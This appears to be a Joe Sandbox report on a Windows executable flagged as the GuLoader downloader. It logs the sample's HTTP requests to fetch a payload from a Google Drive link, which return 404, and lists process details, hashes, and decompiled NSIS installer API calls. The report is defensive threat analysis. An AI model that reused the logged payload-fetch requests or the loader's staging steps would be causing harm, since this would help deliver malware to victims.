2024-12-05 16:08:59 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:59 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:59 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-wW-E9UJPxeRwHoKucCPoeQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.11.20	49816	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:59 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:09:00 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:09:00 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-YHu4JF1huwsJQVHxQCU7gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC4kktxTQnTKX-5zL0iksR_VI3daODD0HP2upn29js632xsopr-GLznrMLkEjE6vvYKUAsuHUbw9JQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:09:00 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 49 58 6a 4a 73 79 48 38 61 5f 67 76 56 79 66 49 39 45 2d 4e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vIXjJsyH8a_gvVyfI9E-Nw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.11.20	49817	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:09:10 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:09:10 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:09:10 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-QanH7FVhikG_X6ZkdQ2JqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.11.20	49818	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:09:10 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:09:11 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:09:11 GMT Content-Security-Policy: script-src 'nonce-Z6Q_FmnFJaZSLffzj_ChMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC6lK0iXxMxjMi6r9ogofdF2Zt-a6T6m6XJsjDQxQ_ve_aSxvSIsOqCEKQILNpwTMKXTMk8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:09:11 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 39 6c 43 39 67 70 39 65 56 6b 53 50 45 47 70 4e 66 39 68 32 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="V9lC9gp9eVkSPEGpNf9h2Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Target ID:	0
Start time:	11:00:50
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fbXZ4ErQMU.exe"
Imagebase:	0x400000
File size:	901'168 bytes
MD5 hash:	C58B26E27E2D9AA8080E289445E1C8CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.53292835357.0000000002C0F000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:02:52
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\fbXZ4ErQMU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fbXZ4ErQMU.exe"
Imagebase:	0x400000
File size:	901'168 bytes
MD5 hash:	C58B26E27E2D9AA8080E289445E1C8CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.56492873526.000000000183F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.8%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	16.4%
Total number of Nodes:	1543
Total number of Limit Nodes:	47

Executed Functions

Function 00403348 Relevance: 89.6, APIs: 32, Strings: 19, Instructions: 366
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040336D
GetVersion.KERNEL32 ref: 00403373
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033A6
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 004033E2
OleInitialize.OLE32(00000000), ref: 004033E9
SHGetFileInfoA.SHELL32(00429850,00000000,?,00000160,00000000,?,00000007,00000009,0000000B), ref: 00403405
GetCommandLineA.KERNEL32(hyaenic Setup,NSIS Error,?,00000007,00000009,0000000B), ref: 0040341A
CharNextA.USER32(00000000,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",00000020,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",00000000,?,00000007,00000009,0000000B), ref: 00403456
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000007,00000009,0000000B), ref: 00403553
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 00403564
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403570
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403584
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 0040358C
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 0040359D
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004035A5
DeleteFileA.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 004035B9

Part of subcall function 00406500: GetModuleHandleA.KERNEL32(?,?,?,004033BB,0000000B), ref: 00406512
Part of subcall function 00406500: GetProcAddress.KERNEL32(00000000,?), ref: 0040652D

Part of subcall function 0040390A: lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\tranchet,1033,0042A890,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A890,00000000,00000002,75A53410), ref: 004039FA
Part of subcall function 0040390A: lstrcmpiA.KERNEL32(?,.exe), ref: 00403A0D
Part of subcall function 0040390A: GetFileAttributesA.KERNEL32(Call), ref: 00403A18
Part of subcall function 0040390A: LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\tranchet), ref: 00403A61
Part of subcall function 0040390A: RegisterClassA.USER32(0042EBC0), ref: 00403A9E

Part of subcall function 00403830: CloseHandle.KERNEL32(000002E0,00403667,?,?,00000007,00000009,0000000B), ref: 0040383B

OleUninitialize.OLE32(?,?,00000007,00000009,0000000B), ref: 00403667
ExitProcess.KERNEL32 ref: 00403688
GetCurrentProcess.KERNEL32(00000028,?,00000007,00000009,0000000B), ref: 004037A5
OpenProcessToken.ADVAPI32(00000000), ref: 004037AC
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004037C4
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 004037E3
ExitWindowsEx.USER32(00000002,80040002), ref: 00403807
ExitProcess.KERNEL32 ref: 0040382A

Part of subcall function 00405813: MessageBoxIndirectA.USER32(0040A218), ref: 0040586E

Strings

C:\Users\user\tranchet, xrefs: 00403538, 00403639, 004036E3, 004036EC
C:\Users\user\Desktop\fbXZ4ErQMU.exe, xrefs: 00403745
SeShutdownPrivilege, xrefs: 004037BE
TMP, xrefs: 004035A0
Error launching installer, xrefs: 0040361F
\Temp, xrefs: 0040356A
Low, xrefs: 00403586
1033, xrefs: 004035B4
C:\Users\user\tranchet\Trykmaalere, xrefs: 00403644
C:\Users\user\Desktop, xrefs: 004036BA, 004036BF, 004036EB
NSIS Error, xrefs: 0040340B
TEMP, xrefs: 00403598
C:\Users\user\AppData\Local\Temp\, xrefs: 00403548, 0040354D, 00403563, 0040356F, 0040357E, 0040358B, 00403597, 0040359F, 00403698, 004036A9, 004036B4, 004036C0, 004036CD, 004036DC, 0040378B
", xrefs: 0040347B
hyaenic Setup, xrefs: 00403410
~nsu, xrefs: 00403693
"C:\Users\user\Desktop\fbXZ4ErQMU.exe", xrefs: 00403420, 00403426, 004035DD
.tmp, xrefs: 004036AF
UXTHEME, xrefs: 0040339A, 0040339F, 004033A5

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Process$ExitFile$EnvironmentHandlePathTempTokenVariableWindowslstrcatlstrlen$AddressAdjustAttributesCharClassCloseCommandCurrentDeleteDirectoryErrorImageIndirectInfoInitializeLineLoadLookupMessageModeModuleNextOpenPrivilegePrivilegesProcRegisterUninitializeValueVersionlstrcmpi
String ID: "$"C:\Users\user\Desktop\fbXZ4ErQMU.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\fbXZ4ErQMU.exe$C:\Users\user\tranchet$C:\Users\user\tranchet\Trykmaalere$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$hyaenic Setup$~nsu
API String ID: 3776617018-2629657530
Opcode ID: 9f7172ca61a1f038ac1aa6a8db1429cac06e36ed1de7e549aa4fc7ed9372f958
Instruction ID: 2464a3ec660faf4d6335bd380e0cd13b62da1685a36c15adf6e00eeeb0483762
Opcode Fuzzy Hash: 9f7172ca61a1f038ac1aa6a8db1429cac06e36ed1de7e549aa4fc7ed9372f958
Instruction Fuzzy Hash: 49C107705047416AD7216F759D89B2F3EACAB4530AF45443FF181BA2E2CB7C8A058B2F

Function 70051A98 Relevance: 20.1, APIs: 13, Instructions: 591stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 70051215: GlobalAlloc.KERNEL32(00000040,70051233,?,700512CF,-7005404B,700511AB,-000000A0), ref: 7005121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 70051BC4
lstrcpyA.KERNEL32(00000008,?), ref: 70051C0C
lstrcpyA.KERNEL32(00000408,?), ref: 70051C16
GlobalFree.KERNEL32(00000000), ref: 70051C29
GlobalFree.KERNEL32(?), ref: 70051D09
GlobalFree.KERNEL32(?), ref: 70051D0E
GlobalFree.KERNEL32(?), ref: 70051D13
GlobalFree.KERNEL32(00000000), ref: 70051EFA
lstrcpyA.KERNEL32(?,?), ref: 70052098
GetModuleHandleA.KERNEL32(00000008), ref: 70052114
LoadLibraryA.KERNEL32(00000008), ref: 70052125
GetProcAddress.KERNEL32(?,?), ref: 7005217E
lstrlenA.KERNEL32(00000408), ref: 70052198

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: c7f186199c54d81a8f1d0b4fe8abc9ab145923d84785cfa3d3b5e1acd825844b
Instruction ID: 85cf1a9b3a51f13507241d1333a4164faac9c6432316035a486a2ecc521134f0
Opcode Fuzzy Hash: c7f186199c54d81a8f1d0b4fe8abc9ab145923d84785cfa3d3b5e1acd825844b
Instruction Fuzzy Hash: 5522AC71D04609DEDB228FB4C885BEEBBFAFF05B24F20452ED192E2281D7745989CB50

Function 004058BF Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058E8
lstrcatA.KERNEL32(0042B898,\*.*,0042B898,?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405930
lstrcatA.KERNEL32(?,0040A014,?,0042B898,?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405951
lstrlenA.KERNEL32(?,?,0040A014,?,0042B898,?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405957
FindFirstFileA.KERNELBASE(0042B898,?,?,?,0040A014,?,0042B898,?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405968
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405A15
FindClose.KERNEL32(00000000), ref: 00405A26

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004058CC
"C:\Users\user\Desktop\fbXZ4ErQMU.exe", xrefs: 004058BF
\*.*, xrefs: 0040592A

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\fbXZ4ErQMU.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-948675963
Opcode ID: c5c9cbc54ac5a0b6362327b9ac4809c8afb714a0d61d87f2a5b8dc3e2328684f
Instruction ID: 53fbf83e18d3e9f22f7fd61ce8145b7df245fbcc76992db59ab4b54644bc6f5f
Opcode Fuzzy Hash: c5c9cbc54ac5a0b6362327b9ac4809c8afb714a0d61d87f2a5b8dc3e2328684f
Instruction Fuzzy Hash: 4251C470A00A49AADB21AB618D85BBF7A78DF52314F14427FF841711D2C73C8942DF6A

Function 0040216B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00408524,?,00000001,00408514,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F0
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408514,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004022A2

Strings

C:\Users\user\tranchet\Trykmaalere, xrefs: 00402230

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\tranchet\Trykmaalere
API String ID: 123533781-2736763094
Opcode ID: d5ac8e536bab36e1472226809c0cdf08a9d371e862c1e59943db98e9419baf02
Instruction ID: cfd0f9f97044ed47efa98841b374527745dcc5d1cf4597a5ef188e8ddd78f045
Opcode Fuzzy Hash: d5ac8e536bab36e1472226809c0cdf08a9d371e862c1e59943db98e9419baf02
